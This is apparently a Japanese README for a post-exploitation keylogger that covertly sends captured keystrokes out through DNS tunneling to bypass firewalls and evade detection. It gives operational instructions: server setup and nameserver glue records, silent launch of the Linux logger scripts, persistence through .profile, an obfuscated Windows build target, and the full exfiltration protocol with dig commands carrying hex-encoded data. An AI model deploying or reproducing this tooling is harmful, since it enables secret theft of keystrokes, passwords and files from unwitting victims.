
ファイアウォールを通過してキー入力を送信するためにDNS tunneling/exfiltrationを使用するキーロギングサーバーとクライアント。
このポストエクスプロイテーションキーロガーは、キー入力をサーバーへ秘密裏に外部送信(exfiltrate)します。
これらのツールは、軽量な外部送信と永続性に優れており、これらの特性により検出を防ぎます。DNSトンネリング/外部送信を使用してファイアウォールをバイパスし、検出を回避します。
サーバーはpython3を使用します。
依存関係をインストールするには、python3 -m pip install -r requirements.txt を実行してください。
サーバーを起動するには、python3 main.py を実行してください。
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
デフォルトでは、サーバーはUDPポート53で待ち受けます。別のポートを指定するには -p フラグを使用してください。
ip はサーバーのIPアドレスです。これはSOAレコードとNSレコードで使用され、他のネームサーバーがサーバーを見つけられるようにします。
domain は待ち受けるドメインで、サーバーが権威を持つドメインである必要があります。
レジストラで、ドメインのネームサーバーをカスタムDNSに変更します。
ns1.example.com と ns2.example.com の2つのドメインを指定します。

ネームサーバードメインを外部送信サーバーのIPアドレスにポイントするレコードを追加します。

これはグルーレコードを設定するのと同じです。
Linux用のキーロガーは2つのbashスクリプトです。connection.sh は logger.sh スクリプトによって使用され、キー入力をサーバーに送信します。ファイルなどのデータを手動で送信したい場合は、データを connection.sh スクリプトにパイプで渡すことができます。自動的に接続を確立し、データを送信します。
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
キーロガーを起動するには、コマンド ./logger.sh [domain] && exit を実行します。これによりキーロガーが静かに起動し、入力された内容がすべて送信されます。末尾の && exit により、exit でシェルを終了できます。これがないと、終了時にキーロガーが動作していないシェルに戻ります。エラーメッセージを表示しないようにするには &> /dev/null を削除してください。
-p オプションは、すべての入力が送信される一時ログファイルの場所を指定します。デフォルトは /tmp/ です。
-l オプションは警告とエラーを表示します。デバッグに便利です。
キーロガーを動作させるには、logger.sh と connection.sh が同じディレクトリにある必要があります。永続性を持たせたい場合は、.profile にコマンドを追加して、新しいインタラクティブシェルが起動するたびに実行されるようにできます。
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
キーロギングプログラムをビルドするには、windows ディレクトリで make を実行します。サイズを小さくし、ある程度難読化してビルドするには、production ターゲットを使用します。これにより build ディレクトリが作成され、build ディレクトリ内の logger.exe というファイルに出力されます。Windows 10 の MinGW を使用してビルドした場合のみテストしました。Windows 以外のマシンで g++ を使用しようとすると、windows.h に関連するビルドエラーが発生する可能性があります。
make production domain=example.com
また、debug ターゲットを使用してデバッグ用にプログラムをビルドすることもできます。
make debug domain=example.com
両方のターゲットで、サーバーが待ち受けるドメインを指定する必要があります。
dig を使用してサーバーにリクエストを送信できます:
dig @127.0.0.1 a.1.1.1.example.com A +short ローカルホストのサーバーに接続リクエストを送信します。
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short ローカルホストにテストメッセージを送信します。
example.com をサーバーが待ち受けるドメインに置き換えてください。
a で始まるAレコードリクエストは「接続」の開始を示します。サーバーがこれを受信すると、最後のオクテットにクライアントのIDを含む、予約されていない偽のIPアドレスで応答します。
接続を開始する際のフォーマットは次のとおりです:a.1.1.1.[sld].[tld].
サーバーは次の形式のIPアドレスで応答します:123.123.123.[id]
同時接続は254を超えることはできず、クライアントは「切断」と見なされることはありません。
b で始まるAレコードリクエストは、サーバーに送信される外部送信データを示します。
接続確立後にデータを送信する際のフォーマットは次のとおりです: b.[packet #].[id].[data].[sld].[tld].
サーバーは [code].123.123.123 で応答します。
id は接続時に確立されたIDです。データはASCII文字を16進数エンコードしたものです。
code は以下に説明するコードのいずれかです。
200: OKクライアントが正常に処理されたリクエストを送信した場合、サーバーはコード 200 で応答します。
201: 不正なレコードリクエストクライアントが不正なレコードリクエストを送信した場合、サーバーはコード 201 で応答します。
202: 存在しない接続クライアントが接続数よりも大きいIDを持つデータパケットを送信した場合、サーバーはコード 202 で応答します。
203: 順序が異なるパケットクライアントが期待されるパケットIDと一致しないパケットを送信した場合、サーバーはコード 203 で応答します。クライアントとサーバーはパケット番号を0にリセットする必要があります。その後、クライアントは新しいパケットIDでパケットを再送信できます。
204: 最大接続数に達しましたクライアントが最大接続数に達した状態で接続を作成しようとした場合、サーバーはコード 204 で応答します。
クライアントは、受信したパケットの確認応答として応答を利用する必要があります。応答を受信しない場合、同じペイロードを再送信する必要があります。
ユーザー入力を含むログファイルには、バックスペース、削除、復帰などのASCII制御文字が含まれています。cat などで内容を表示する場合は、-v などの適切なオプションを選択してASCII制御文字を表示するか、テキストエディタで開いてください。
キーロガーは script に依存しているため、非インタラクティブシェルでは動作しません。
なぜかWindowsの Dns_Query_A は常に重複したリクエストを送信します。サーバーは重複パケットを破棄するため、問題なく処理できます。